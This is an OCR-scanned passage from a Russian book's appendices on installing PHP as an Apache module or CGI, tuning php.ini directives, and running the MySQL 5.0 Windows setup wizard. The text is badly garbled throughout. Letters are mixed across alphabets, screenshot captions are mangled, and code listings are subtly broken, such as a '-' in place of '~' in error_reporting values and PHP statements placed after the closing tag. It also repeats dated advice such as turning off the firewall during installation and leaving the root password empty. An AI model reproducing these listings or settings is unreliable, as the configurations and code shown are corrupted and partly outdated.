1150 Прuложен uя П1 .8. Установка РНР п од Windows Для установки РНР следует создать катал ог C:\pllp и разместить в нем файлы из ziр-архива дистрибути ва. После этого нужно переименовать конфигураци­ онный файл pllp.il1i-dist в pllp.il1i и скопировать его в каталог C:\Windows. Дал ее необходимо сообщить Web-серверу о наличии установленного РНР. Установка РНР возможна двумя способам и: как модул ь Apaclle и как внеш­ нее СGI-приложение. Далее будут рассмотрены оба варианта установки. П1.8.1 . Установка РНР в качестве модуля Установка РНР в качестве модуля немного повышает быстродействие, так как модул ь РНР загружается один раз при запуске Web-сервера. ЗАМЕЧАНИЕ При уста новке Р Н Р в ка честве модуля настройки из php.ini чита ются оди н раз при запуске Web-сервера. Поэто му при изменении файла php.ini необ­ ходимо перезагрузить Apache дл я того , чтобы внесенные изменения всту­ пили в силу. Для установки РНР откройте ко нфигурационный Арасllе-файл I1ttpd.cOl1f и удалите символы ко мментар иев нап роти в строк, указанных в листинге П] .5, при необходимости из менив их. ЗАМЕЧАНИЕ Строки , представленные в листи нге П1 .5, должны располагаться в районе других директи в AddT ype. Если их поместить бл иже к концу, например, не­ посредственно перед виртуал ьными хостами, они не будут восприняты Web-сервером Apache. Листинг П1.5. Подкл ючение РНР, как модул ь Apache AddType application/x- httpd-php phtml php LoadМodule php5_ffiodule c: /php/php5apache2 .dll В ко рневом каталоге C:/pllp имеется нескол ько ди нам ических библ иотек, каж­ дая из которых предназначена для своего случая. Так pllp5apache2 .dll испол ьзу­ ется для подключения к Apaclle 2.0 .х, pllp5apache .dll - для подключения к Apaclle ] .3 .х, pllp5 isapi.dll применяется для подключения к Web-серверу IIS.
Прuложенuе 1. Уст ановка u настройка РНР, We b-cepeepa Apache . . . П1.8.2. Установка РНР как СGI-приложен ия 1151 При установке РНР как СGI-приложения интерпретатор РНР будет загру­ жаться каждый раз при вызове РНР-сценар ия. В связи с этим возможно неко­ торое ухудшение быстродейств ия. Впрочем , это справедливо лишь для за­ груже нных серверов и практ ически незаметно на локальной машине. Есл и РНР установлен как СGI-приложение, то при внесении изменений в файл php.il1i Web-сервер Apache перезагружать не следует, так как установки читаются каждый раз при выполнении РНР-сценария. ПРИМЕЧА НИЕ При установке РНР как CGI перестанут работать некоторые заголовки, на­ пример, нельзя будет организовать авторизацию пользователей средства­ ми НПР Basic Authentification. Авторизацию можно будет реализовать тол ько средствами самого Apache с помощью файлов .htaccess. Для установки РНР необходимо добавить в конфигурационный файл httрd.СОl1f строки, представленные в листинге Пl.6 . ЗАМЕЧАНИЕ В версии РНР 4 вместо php-cgi . exe следует укаЗblвать php. exe. ЗАМЕЧАНИЕ Строки , предста влеННblе в листинге П1 .6, ДОЛЖН bI располагаться в районе других директив AddT yp e. Есл и их поместить ближе к концу, например, не­ посредственно перед виртуаЛЬН blМИ хоста ми, они не будут ВОСП РИНЯТbI Web-сервером Apache. Листинг П1 .6 . Файл httpd.conf. Подключение РНР, как СGI-приложе ние AddType application/x-httpd-php phtml php <Directory "C: /php"> Opt ions ExecCGI </Directory> ScriptAlias "/php_di r/" "C: /php/" Act ion application/x-httpd-php "/php_dir/php-cgi .exe "
1152 Прuложенuя Кро ме это го, может оказаться полезной настройка директивы DirectoryIndex, кото рая отвечает за индексный файл катал ога, добав ив к индексным файлам значение index.pI1p. DirectoryIndex index .php index .htrnl index .html .var Теперь, есл и в адресе не указывается страница (например, пол ьзовател ь на­ бирает адрес http://localhost/ вместо http ://localhost/index.php) Web-сервер авто мати чески будет искать в текущем каталоге файл iпdех.рl1р. Есл и такой файл не найден, будет выпол нен поиск файла il1dex.l1tml. Есл и и этот файл не обнаружится, будет произведен поиск iпdех.l1tml.vаг. В директиве DirectoryIndex можно указать любые другие индексные файл ы, например, iпdех.l1tm, iпdех.рI1Р3, il1dex.pl1tm l и т. п. Для проверки работоспособности РНР-файла в каталоге виртуал ьного хоста необходимо создать РНР-файл iпdех. рl1Р следующего содержан ия (л ис­ тинг Пl .7). Рис. П1.8 . Отчет функции phpinfo ()
Прuложенuе 1. Уст ановка u на стройка РНР, We b-сер вера Apache . . . Листинг П1.7 . Провероч ный РНР-скрипт <?php phpinfo () ; ?> 1153 Функция phpinfo () выводит в окно браузера отчет о ко нфигурации РНР. Ес­ ли РНР успешно связан с Web-сервером, то резул ьтат может выглядеть так, как это представлено на рис. Пl .8. Следует отметить, что отчет, предоставл яемый функцией phpinfo ( ), указы­ вает на путь к ко нфигурационному файлу рllр.iпi. Его можно выяснить в строке Configuration Fi le (php . ini ) Path. Этот путь может быть полез­ ным, есл и имеется подозрение, что редактируется не та ко пия, которая ис­ пол ьзуется РНР (например, внесенные изменения не вступают в силу). П 1.9. Установка Р Н Р п од Linux После того как дистрибутив РНР загружен с сайта http :/www.php.net в ката­ лог /u sr/local/src, следует разархивировать файл ы дистрибутива: tar -xzf php-5.x.x.tar .gz Затем перейти в катал ог РНР : cd php-5 .x .x Теперь необходимо создать сценарий дл я настройки РНР. Для этого создайте файл с именем сопfig.sll и поместите в него следующий код : . /configure \ - - with- apx s=/usr/local /apache /bin/apxs \ - - with-mys ql=/var/lib /mys ql / Все другие необходимые расш ирения можно поместить в отдел ьные строки этого файла. Как можно видеть, в это м сценарии задан параметр - - with-apxs вместо --wi th-apache . Это сдел ано дл я того, чтобы РНР устанавливался не как статический модул ь, а как динамически разделяем ый объект. В этом слу­ чае можно обновлять РНР, не ком пилируя Apache заново. Есл и устанавли­ вать РНР как статический модул ь, то при обновлении РНР нужно будет вновь ко мпилировать Apaclle. Далее следует сохранить файл сопfig.sh и выполнить ко м анду: chmod 755 config .sh
1154 Запуск сценария про изводится при помощи команды : ./config .sh После чего можно скомпил ировать и устан овить РНР: ma ke rna ke install П1.10 . Общая настрой ка конфигурацио нно го файла php.ini Прuложенuя После того как ко нфигурационный файл i1ttpd.cOl1f настроен, необходимо от­ корректировать нескол ько директив конфигурационного файла pi1p.il1i. В первуlO очередь следует выставить директиве error_repo rting значение Е ALL & -Е NOTICE: error_reporting = E_ALL & -Е NOT ICE Дан ная директива отвечает за уровень тревожности интерпретатора РНР при отображении ошибок. Сл ишком высокий уровень тре вожности будет приво­ дить к выводу замечаний (l1otice), кото рые ЯВЛЯlOтся своеобразными совета­ ми. Управлять уровнем тревожносtи интерпретатора РНР можно не тол ько гл обально, но и для каждого скрипта в отдел ьности : для этого в его начало следует поместить вызов функции error_repo rting (), передав ей в качестве аргумента уровень тревожности (л истинг Пl .8). ЛИСТИНГ Г!1 .8 . Использование ФУНКЦИИ error_repo rting () <?php error_reporting ( E_ALL & -E _NOT ICE ); ?> Далее необходимо ВКЛlOчить директиву display_errors, которая, начиная с РНР 5, ОТКЛlOчена: display_errors = Оп Данная директива разрешает (Оп) или запрещает ( Off) вывод ошибок и пре­ дупреждений в окно браузера. Есл и ОТКЛlOчить даннуlO директиву, то при возникновении ЛlOбой ошибки будет вы водиться пустое окно браузера. Для того чтобы все-таки выяснить, какая ошибка возникла, в ко нфигурационном файле pllp.il1i необходимо ВКЛlOчить директиву log_errors: log_errors = Оп
Прuложенuе 1. Уст ановка u настройка РНР, We b-cepsepa Apache . .. 1155 А таюке снять комментар ий напротив директивы: error_log = syslog Директива error_log = sys log позволяет регистрировать ошибки в систем­ ном журнале Windows, доступном по пути Пуск I Настр ойка I Панель управления I Адм инистр и рование I Просм отр событий. В Linux сообще­ ния об ошибках будут помещаться в журнальный файл де мона syslog. Директива s,hort_op en_t ag определяет, разрешено (Оп) или запрещено ( Off) использование коротких тегов <? вместо <?php : short_open_t ag � Оп Есл и данная директива отключена (принимает значение Off) , то использова­ ние коротких тегов <? будет приводить к ошибке. Следует иметь в виду, что, начиная с РНР 6, данная директива будет исключена, и использование корот­ ких РНР-тегов будет недопусти мо. Директива output_buffering позволяет помещать весь вывод из окна брау­ зера в буфер и отправлять его тол ько после того, как скрипт заканчивает ра­ боту. Для того чтобы включить такое поведение, следует присвоить директи­ ве значение Оп: output_bu ffering = Оп Директива output_buffering позволяет эффективно бороться с ошибкой Саппоt modify header information - headers already sent Ьу, которая воз­ никает, если функции session_s tart (), setcookie () или header () вызыва­ ются после того, как в окно браузера уже отправлена информация. Однако при разработке сайтов, кото рые будут размещаться на сайте хост­ провайдера, лучше не менять значение данной директивы, так как она может быть отключена. В большинстве случаев ошибку Cannot modify header informatio n - headers already sent Ьу можно обойти либо программно, либо применяя функции управления выводом, которые также передают вывод в предварительный буфер. Директива mах_execut ion_time определяет максимальное количество се­ кунд, которые отводятся на выполнение скрипта: тах execut ion time = 30 При этом не учитывается время, затрач иваемое на ожидание ответа от базы данных или из сети . По умолчанию директива принимает значение, равное 30 секундам. Если директива принимает значение, равное О, то считается, что все ограничения по времени с няты . Управлять значением директивы mах execut ion time можно не тол ько гл обально, редактируя конфигураци-
1156 Прuложенuя онный файл pI1p.ini, но и локально, поместив в начало РНР-скрипта вызов функции set_t ime_l imi t () и передав в качестве аргумента функции кол иче­ ство секунд, отводимых скрипту на исполнение (л исти нг Пl .9). Листинг П1 .9. Снятие временн ых огра ничений при помощи ФУНКЦИИ set_tз.mе_l iroi t () <?php set_time_limit (Q) ; ?> Директива memo ry_limit определяет максимальный объем памяти, выделяе­ мый одному сценарию: memo ry_limit = 8М По умолчанию значение директивы равно 8 МбаЙт. Это значение следует увел ичить, если планируется обрабаты вать файлы объемом около 1 О Мбайт, так как в это м случае не удастся даже прочитать содержимое файла в пере­ менную или массив, например, при помощи функций file_get_contents () или file ( ), и 10-мегабайтный файл придется обрабаты вать либо по частям , либо построч но, что замедл ит работу скрипта. Директива register_g lobals отключает ( Off) или включает (Оп) возмож­ ность регистрации переменных из массивов $ _POST, $_ GET, $_COOKIE, $_SESSION, $_SERVER непосредственно в переменные РНР : regi ster_globals = Off Использование гл обальных переменных может создать "дыры" в защите сце­ нария, поэто му по умолчанию эта директива отключена. Начиная с РНР 6, планируется полное исключение данной директивы. Директива register_long_a rrays разрешает (Оп) ил и запрещает ( Off) ис­ пользование для передачи переменных из форм дл инных массивов вида $HTTP_GET_VAR S, $HTTP_POST_V�S и т. д. : register long_a rrays = Off Если данная директива откл ючена, следует пользоваться новыми супергло­ бальными массивами вида $_GET, $_ POST И Т. д. Начиная с РНР 6, планирует­ ся полное исключение данной директивы . Директива pos t_max_s ize определяет максимальный размер данных, пере­ данных методом POST:
Прuложенuе 1. Уст а новка u на стройка РНР, We b-сервера Apache . . . 1157 По умолчанию директи ва принимает дан ные объемом 8 МбаЙт. Если пл ани­ руется загружать на сервер файлы с большим размером, то значение дан ной директивы следует увел ичить . Директива ma gic_quotes_runt ime позволяет отключить ( Off) ил и включить (Оп) магические кавычки при обработке дан ных GET, POST и cookie: ma gic_quotes runtime = Off Если магические кавычки включены, то все спецсимволы авто матически эк­ ранируются при помощи обратного слэша. Проверить факт включения маги­ ческих кавычек можно при помощи фу нкции get_magic_quotes_gpc (), кото­ рая возвращает true, есл и кавычки включены, и false, если они отключены (листинг П 1.1О). ЛИСТИНГ П1 .10. Использование ФУНКЦИИ ge t_magic_quo tes gpc () <?php ?> if (!get_ma gic_quotes gp c ( )) // Магические кавычки отключены - предотвращаем SQL-инъекцrnо $theme = mysql_escape_s tring ($theme) ; $author = mys ql_escape_s tring ($autho r ) ; $pswrd = mysql_escape_s tring ($pswrd ) ; $url = mysql_escape_s tring ($url) ; $message = mysql_escape_s tring ($me ssage) ; Директива file_up loads разрешает (Оп) ил и запрещает (Off) загруз ку файлов на сервер : file_up loads = Оп Директива up load_max _filesize задает максимальный размер загружаемых на сервер файлов: По умолчанию директива принимает значение, равное 2 МбаЙт. Если плани­ руется загружать на сервер более объемные файлы, следует увеличить значе­ ние дан ной директивы.
1158 Прuложенuя Директива allow_url_fopen разрешает (Оп) или запрещает ( Off) использова­ ние загрузки файлов с удаленных хосто в, то есть испол ьзован ие адресов l1ttp :// и ftp :// в файловых функциях: Директива session. save_path позволяет задать путь к каталогу, в который будут сохраняться файлы с сессионными данными. Испол ьзование данной директи вы удобно для отладки сессий, так как позволяет визуально контро­ лировать создание новой сессии: session.save_path = C: /tmp Директива session . cookie_l ifetime определяет время жизни cookie в се­ кундах. Есл и директива принимает знач ение О, то срок жизни cookie продол­ жается до закрытия браузера пользователем: session . cookie lifetime = О П1. 11. Н астрой ка и проверка раб отоспособ н ости расш ирений РНР По умолчан ию, начиная с РНР 5, все расширения отключены. Это означает, что если имеется потребность работать с базой данных MySQL и динам иче­ ской графикой (GDLib), следует явно подключить эти расширения в конфи­ гурационном файле рl1р.iпi. За подключение расширений несет ответственность директива extens ion. Для подключения расширения необходимо снять комментарий (символ # ) напротив его. Так, для подключения расширения для работы с MySQL необ­ ходимо снять комментарий напротив директи вы: extension=php_mys ql .dll ЗАМЕЧАНИЕ Ряд расширений, таких как расш ирение дл я шифрования данных php_mcrypt.dll , требует дополнител ь ных динамических библиоте к, которые необходи мо будет поместить в каталог С:\Wiпdоws\sуstеmЗ2. Ч асть биб­ лиотек расположена в C:\php, часть придется загрузить из И нтернета . Уз­ нать список расширений, требующих сторонних библиоте к, а также имена этих библиотек можно в файле С:\рhр\s парshоt.tхt.
Прuложенuе 1. Уст ановка u настройка РНР, We b-cepeepa Apache . .. 1159 Помимо это го, необходимо настроить директиву, указав путь к библиотекам расширения : extens i on_dir = "C : /php/ext /" Можно оставить значение директивы extension_dir по умолчанию . / и скопировать необходимые библ иотеки из каталога C:\pllp\ext в катал ог C:\php\. Этот прием полезен, когда РНР не может найти динамические библиотеки (рис. П 1.9). Рис. П1.9. РНР не может загрузить расширение php_mysql.dll
ПРИЛОЖ ЕНИЕ 2 Уста н о вка MySQL Как и любая другая СУБД (система управления базам и данных), MySQL яв­ ляется сложным программным ко мплексом, от установки и настройки кото­ рого зависит производительность, устойчивость и безопасность . Дан ная гл ав а посвящена установке и первичной настройке СУБД MySQL. Будут рассмот­ рены вопросы, которые возникают практически сразу при работе с любой СУБД: как установить и наиболее эффективно настроить СУБд, а таюке как переносить базы данных с одного сервера на другой . П2.1 . Установ ка MySQL п од Windows П2.1 .1 . П роцесс установки При работе в Windows NT/2 000/XP необходи мо зарегистрироваться в систе­ ме с привилегиями адм инистратора, разархивировать дистрибутив во вре­ менный каталог, после чего запустить файл settlp.exe . В резул ьтате поя вится окно масте ра установки, показ анное на рис. П2 . 1. ЗА МЕЧА НИЕ Перед уста новкой сервера MySQL рекомендуется откл ючить FireWall, есл и он имеется в системе, и включить его тол ько после то го , как сервер MySQL успешно установл ен. Если после этого сервер MySQL прекратит принимать запросы , в FireWal1 следует открыть порт 3306 (или другой порт, если зна­ чение порта будет изменено во время установки). ЗА МЕЧА НИЕ Уста новка дистрибути ва MySQL описывается на примере полного дистри­ бути ва Windows (х86).
Прuложенuе 2. Уст ановка My SQL '� MySQL Server 5.0 - SetllP W"lZard IEJ Welcome to the Setup Wiza rd for MySQL SelVer 5.0 Тпе Setup "/izaгd v�iil lпs\j j ll MySQL Seгveг 5.0 release 5.0.26 ОП youг computeг. То continue, click Next. Setup has detected а pf'evious \lerslon of MySQL Seгveг 5.0. it will Ье remove<f duгlng this installatlon. WАRЮNG: This pгogгam is pгotected Ьу copyright 'ау/. Рис. П2.1 . Стартовое окно автоматического уста новщика i' MySQL Server 5.0 - Setllp W'tzard IEI Serup Type Choose the setup t"pe that best sults youг needs. Рис. П2.2 . Выбор режи ма установки MySQL 116 1
1162 Прuложенuя Для продолже ния установки следует нажать кнопку Next, после чего откро­ ется окно, показ анное на рис. П2 .2, в котором предлагается выбрать способ установки: О Typical (Стандартн ый); О Complete (Полный); О Custom (Выборочный). В первом случае устанавл иваются стандартн ые компоненты, во втором ­ все возможн ые ко мпоненты, в третьем - по выбору пользователя. В режи ме Custom нажм ите кнопку Next и в появившемся окне (рис. П2 .3) выберите необходимые компоненты . Ко мпоненты , которые по ум олчанию отключены, перечеркнуты красным крести ком . Для того чтобы устан овить предл агаемые ко мпоненты, необходимо выделить нуж ный ко мпонент и вы­ брать в выпадающем меню пункт This fe atu re will Ье installed оп local hard drive . Есл и у вас отсутствует опыт установки MySQL, при первой установке лучше ничего не менять . После того как все ко мпоненты выбраны, в диалоговом окне, показанном на рис. П2 .3, можно изменить катал ог установки, нажав кнопку Change. Custom Setup Select the program features \'ои �'/ant installed. ," ·!ii ii1i �·1 8з·· ·· ; g ·1 Cliel1t Programs :• • ш ' 8�"I Documentatlon r:j.] .. : х·1 Developer Components ТЫэ f&a ti i re reguJres 23МВ ОП уоиг hard drive. Рис. П2.3. Выбор компонентов ДЛ Я уста новки
Прuложенuе 2. Уст ановка My SQL 1163 Рис. П2.4 . Выбор каталога, в который будет уста новлен MySQL-сервер З АМЕЧА НИЕ По умолчанию установка производится в каталог C:\Pгogгam Files\MySQL\ MySQL Seгver 5.0\ . Рекомендуется изменить путь по умолчанию на более коротки й, например на С:\шуsqI5\. Это необходимо дл я более ко мфортной работы с утил итами MySQL в командной строке. Нажав кнопку Change, введите путь С:\шуsqI5\ (рис. П2 .4). Если вы устанавли ваете MySQL поверх старой копии, например, MySQL 4. 1, 4.0 или 3.23 - будьте осторожны. Такой способ вполне допусти м и часто применяется для того, чтобы базы данных старой версии перешли в новую инсталляцию. Но следует помнить, что системная база данн ых my sql в на­ стоящий момент несовмести ма с предыдущими версиями. Поэтому, если вы производите обновление MySQL, помимо остановки сервера следует удалить каталог С:\шуsq!\dаtа\шуsq! системной базы данных mys ql. При первой ин­ сталляции проблем, связанных с несовместимостью, возникать не должно.
1164 Ready to InstaU the Program The wizarct is ready (а begin installation. Рис. П2.5. Завершающее окно перед процессо м инсталляции InstalГmg MySQl Server 5.0 The ргочгат featur€s уаи selected аге being installed• .� Please. YRlit. \'ilhil€ the SetHp \Nizard instlills fv1VSQL SeFVer 5.0 . Thls тау t/lke L0' se\ler-al mfn"tes. statщ;; (°-'1'······1-0••• - Рис. П2.6 . Копирование файлов Прuложенuя
Прuложенuе 2. Ус тановка MySQL MySQL.cOD1 Sign Up - Setup Wa ard t3 �tvSQL.сощ Sign·up Login ог cre:ate а nev.' Му'5QL.соП1 account. . . �Ieaserogihor,,1EcttI]e,,>,ооп(оа••Ь!ап�,,,acrOtl1t. r.Cre.ateаnew1.. .,., t1ySQL,om ac cou nt Ifyou еЮ no! yet hav. а MySQI..com aro>u1t, '.е/ее! t!;is арбоп iЩd complete те !i:>I!ovling thfee .!:ер• • Em.3i/ addre..: Pas s wClrd: Рис. П2.7 . Предл ожение зарегистрироваться на сайте http : //www.mysql.com '.flf izard Completed Setup has finish�d insrnlling MySQL Serve,· 5.D . click Finlsh to exlt th� wlza,'d . o Collfl!Jure the MysQl Server now Use (Ы" орооп to gene rate аn optimized MySQL config fiI�. setup а lNindo·,,,s service running оп а dedicated рог! and to s�t the password for the ,'oot ассоипС. Рис. П2.8 . Завершение основного этапа установки MySQL 1165
1166 Прuл оженuя Посл е завершения прединсталляционной настройки выводится окно, пред­ ставленное на рис. П2 .5 . Нажатие кнопки Install начинает процесс копирова­ ния файлов, представленный на рис. П2 .6 . После копирования файлов мастер установки предлагает зарегистрироваться на сайте http://ww w . mysql.com . Дл я того чтобы пропустить эту процедуру, выберите пункт Skip Sign-Up (рис. П2 .7). Следующее окно (рис. П2 .8) сооб­ щает о завершении основного этапа установки MySQL. Если в данном окне не отключать возможность немедленной настройки сер­ вера, то после нажатия кнопки Finish откроется утилита MySQL Server In­ stance Config Wizard, которая подробно рассматривается в следующем раз­ деле. П2.1 .2. П остин сталляци онная настрой ка Сразу после установки MySQL запускается утилита постинсталляционной настройки . Данный этап можно пропустить, учиты вая, что к настройке всегда можно вернуться, выбрав пункт систем ного меню Пуск I Программы I MySQL I MySQL Server 5 .0 I MySQL Server Instance Config Wizard . Тем н е менее рекомендуется сразу произвести настройку системы. Настройка начинается со старто вого окна, изображе нного на рис. П2 .9 . После нажатия кнопки Next откр ывается окно, представленное на рис. П2 . 1 О, в ко­ то ром предлагается выбрать режим настройки : О Detailed Configuration (Подроб ный); О Standard Configuration (Стандартный). Для более гибкой настройки системы следует выбрать первый пункт (De­ tailed Configuration). После нажатия кнопки Next открывается окно на­ стройки производител ьности MySQL (рис. П2 . 11) со следующими опциями: О Developer МасЫпе (Машина разработчика) ; О Server МасЫпе (Сервер); О Dedicated MySQL Server МасЫпе (В ыделенный сервер). Все три опции разл ичаются по интенсивности использования процессора, объему требуемой оперативной памяти и жесткого диска. Следует выбрать первый пункт, так как в это м случае MySQL зан имает наименьший объем оперативной памяти, не мешая работе других приложений.
Прuложенuе 2. Уст ановка MySQL We1come to the MySQL Server Instance С.ппfit1l l rаПnп Winrtl 1Л.4 ТЬе Configuration Wtzal'd 'NiII al.l ovl )'ои to configure the MySQL Server 5.0 se rver instance. То Continue. <:Ifck Next. Рис. П2.9 . Настройка MySQL при помощи масте ра MySQL Seгver Iпstапсе Сопfiguгаtiоп Wizard Рис. П2.10. Выбор режи ма настройки 1167
1168 Пр uложенuя Второй пункт предназначен для сервера, на котором, помимо MySQL, будут работать другие серверы, например Web-сервер ил и транспортный почтовый агент. Трети й пункт предназначен для выделенного сервера MySQL, на кото­ ром не будут выполняться никакие другие приложения . Рис. П2.1 1. Настройка производител ьности се рвера MySQL Окно, представленное на рис. П2 .l2, позволяет выбрать предпочтител ьный тип для таблиц, который назначается по умолчанию. Следует оставить пер­ вый пункт. ЗАМЕЧАНИЕ Резул ьтато м работы утилиты MySQL Seгver Instance Configuration Wizard является ко нфигурационный файл C:\mysqI5\my.ini, которы й позже можно отредактировать вруч ную. В окне, показ анном на рис. П2 .12, предлагается выбор, по сути, между двумя типам и табл иц: MyISAM и InnoDB . Главное различие заключается в том, что под каждую таблицу MyISAM создается отдел ьный файл, который хранится в соответствующей базе дан ных каталога, а все табл ицы InnoDB хранятся в едином табличном пространстве, под которое выдел яется один файл.
Пр uложенuе 2" Ус тановка My SQL MySQL Server Il1stance Config uraool1 WlZ ard ll3 MySQL Server Insta nce Conftguration Confi gure the MyS QL Server 5.0 server iпstа псе. Please select Фе data base ysa.ge. @ MultJfunetloOBI Database Gепегаl purpose €faтЬаэеэ. Thls \\1111 oPtim lza, the serve r for фа Llse of th.e fast transactlonal InпоОВ slщаgе еnоiпе aod tl�e Ыоп saeeB МvIБАМ storaoe enolne. С Transactibrlal DаtiЮase Only ОрtlЙliZеd for applic�tlon �еrvеJs and transactlonaJ y�eЬ applicatlons. ТЫэ wi ll meke 1nnoDB ihe maln Storage егюГпе. Note that the М'lIБАМ enoine сап stШ De used. С NOI1-ТrаD�ctionа l ОапЬме Onlv Su1ted {о г simple web applications, monitoring ог logglng apl'rrcatfons а$ wefl as analysis ргСЩгаms. 0nly the non�transactiona l МVIБАМ storaoe enolne VJi I I Ье Рис. П2 .12. Выбор типа та блиц по умолчанию Canf] gllre the MyS QL Set,lel" 5.0 serJer instance. Please select the driVe for the InnoDB datafile, ff yo u do nat VJапt to иэе the nAf�,l lr.t �o;t+j.nn.c lnno[)8 таыespaеe settings (" " :� Please choose Фе drive and dfrectory ""пеге he IhnaDB � tabIespace shou1d Ье placed. -.:. .- _ _ -- --' 1 INext> I� Cancel "' Рис. П2 .1З. Выбор пути для хранения файла под таблицы InnoDB 1169
1170 Прuложенuя Кроме это го, ско рость работы с MyISAM в несколько раз превышает ско­ рость работы с табл ицами типа Il1llODB . Однако табл ицы 111\1oDB поддержи­ вают транзакции на уровне строк, более надежны и позволяют работать с табл ицами бол ьшого объема. При первом знако мстве рекомендуется выбрать более простые в обслуживании и настройке табл ицы типа MyISAM. Выбор диска для хранения этого файла и пути, куда он будет помещен, осу­ ществляется в следующем окне, представленном на рис. П2 . 13. Следующее окно (рис. П2 .l4) предлагает указать максимальное количество кл иентов, которые смогут одновременно подключаться к серверу. Первый пункт (рекомендуется выбрать именно его) предполагает, что количество таких соеди нений не будет превышать 20, второй пункт допускает 500 соединений с сервером, третий позволяет назначить собственное огран и­ чение количества акти вных соединений. MySQL Server Instal1ce COllf1gHration WJzard EI MySQl Server I/1stance configuration SeJect thfs орёоп foг database appllcatio !1s that viiJI not requife а high питЬег of cOnaJrrent соппеООопs. А nUl1]ber о! 2:1} соппеооЬМ wilr Ье aswmed. С 0iJ1m!! 1:ra�n Procesmg (ot:1l>;) . , Choose thls optlon (аг hIghly сопшrrепt аррllооtго о sthat тау nа\'! ! at аn,у опе tlme tlp to 500 �ttiVe eonnectlons such а'Б neavJlv lOаоед w.eb seNer·s. Please enteг the approxli'nate питЬег of сопсиггеnt COncurrent'connectfo<ns:. 1�..., ... ... .........Ej Рис. П2.14. Выбор максимального кол ич ества акти вных соединений с сервером На реальных серверах не следует устанавливать это число более 200, обычно есл и оперативной памяти выделено достаточно и производител ьность про­ цессора (процессоров) высока, запросы ВЫПОЛНЯipтся очень быстро, не дос­ тигая это го предела. Как тол ько од ин из компоненто в сервера начинает по-
Прuложенuе 2. Уст ановка My SQL 1171 треблять лишние ресурсы, все остальные процессы ожидают вы пол нения и накапливаются в очереди . Так как в памяти накапливается множество невы­ полненных запросов, ситуация еще больше усугубл яется . Ограничение кол и­ чества одновременных запросов позволяет при та кой критической ситуации отбрасывать все новые запросы . В резул ьтате после того, как пиковая нагруз­ ка минует, сервер выполняет все накопившиеся в очереди запросы, и ситуа­ ция нормализуется. При отсутствии такого ограничения накапл ивающие запросы приведут к зависанию сервера и необходимости ручного вмешател ь­ ства для его перезапуска. ЗАМЕЧАНИЕ Если ситуация с превышением максимального кол ичества одновременных соединений воспроизводится регулярно и вызвана не утечками памяти или перегрузкой процессора, следует увеличить огр аничение на кол ичество од­ новременно выполняющихся запросов. Рис. П2.15. Выбор порта , по кото рому сервер MySQL будет сл ушать кл иентские запросы в следующем окне (рис. П2 .15) устанавливается номер порта, по которому будет происходить соединение кл иенто в с MySQL-сервером (по умолча­ нию - 3306). Есл и на компьютере не имеется других версий MySQL, реко-
1172 Прuл оженuя мендуется сохранить значение по умолчанию, так как порт 3306 являетс я стандартным дл я MySQL. ПРИМЕЧА НИЕ В том случае, если необходимо запускать MySQL 5 совместно с други ми версиями MySQL, можно выбрать другой номер порта , отличный от тех , по которым происходит обращение к прочим MySQL-серверам. в следующем окне предлагается указать кодировку по умолчанию (рис. П2 . 16). Необходи мо выбрать трети й пункт (ручной выбор кодировки) и в вы падающем списке выделить тип ср 1251 , соответствующий русско й Win­ dоws-кодировке. MySQL Server Instance Configuration Wizard Ei MySQl Seгver Insta l1ce Col1fi .. . asclf Configllre th e MyS QL Server S, Ыg S с 125(} Please seleGt (м defautt chari!�. ifi•••I [ . Staildard Cfu!racter Set ср1251 . r со1257 Hello! М<lkes Latfnl the срВ50 suited for Englrsh decB euckr С ВestSl1ppon Eor ,.,utfllill9l!a gb2J12 .� . Маке UТF9 the d gbk гесоттепаМ сп greek . dlfferent [апаиай hebrev! <! ! > r"iIflvaJSeled:ed Defalllt d!a kh P8s i?. 'ol r ? Pleast> SQeclfy th = = - - -i! !!! !I.. • Cha,racft!.r 5et: : .. . . �-.;"" " .�;ш; �� � сапееl Рис. П2.16. Выбор кодировки н а MySQL-сервере по умолчанию При работе в среде Windows NT/2 000/XP можно установить MySQL в каче­ стве сервиса, что обеспечит запуск сервера mysqld.exe при старте системы и корректное завершение работы сервера при выключении компьютера. Окно, представленное на рис. П2 .17, предназначено для настройки такого сервиса. Устан овка флажка Install As Windows Service позволяет установить сервис с именем, которое следует выбрать в выпадающем списке Service
Прuпоженu е 2. Уст ановка My SQL 1173 Name. Можно изменить имя сервиса, особенно есл и в системе присутствует инсталл ированный MySQL-сервер более ран ней версии - это позвол ит из­ бежать конфликтов при запуске серверов как MySQL 5 , так и более ранней версии. Отметка флажка Launch the MySQL Server automatic позволяет на­ строить сервис на авто матический режим работы , когда запуск сервера про­ изводится со стартом систем ы, а остановка - при завершении работы с сис­ тем ой. В противном случае запуск и остановку сервера придется выпол нять вручную . Как будет показано дал ее, можно изменить режи м работы сервиса в любой момент в консоли управления сервисами. Флажок Include Bin Directo ry in Windows РАТН позволяет прописать путь к катал огу C:\mysqI5\bil1 в системной переменной РАТН, что может быть удобным при часто м использован ии утил ит из этого катал ога. MySQL Server Instance Configuration Wua rd EI MVSQL Server Il1stance Conf'tguration .•, :но Please >Set tIlе Windows optfons. . Cbedc this op,tlon to. include tge dir�ory (Jоntаlлlпg the server r dient execut.lbIes iл the Windows РАТН YaFiIlbIe .so thev сап ье C<llIed Рис. П2.17. Настройка сервиса ДЛЯ авто матического запуска MySQL-сервера в следующем окне (рис. П2 .18) производится настройка учетных записей. Если вы не знакомы с системой авториЗ'ации MySQL и производите установ­ ку первый раз, рекомендуется снять флажок Modify Security Settings и оста­ вить данные настройки по умолчанию. Два тексто вых поля позволяют задать пароль дл я суперпользователя root (в противном случае в качестве пароля будет выступать пустая стр ока) .
1174 Прuл оженuя MySQl Server Instance Config Hration Wizard а MySQL 5erver Instзпсе Confaguration Рис. П2.18. Настройка учетн ых записей MySQl Server Instance Config uration WlZ ard llЗ MySQL Server Instзпсе Conftguration Рис. П2 .1 9. Последняя страница утилиты MySQL Serveг Instance Configuгation Wizaгd
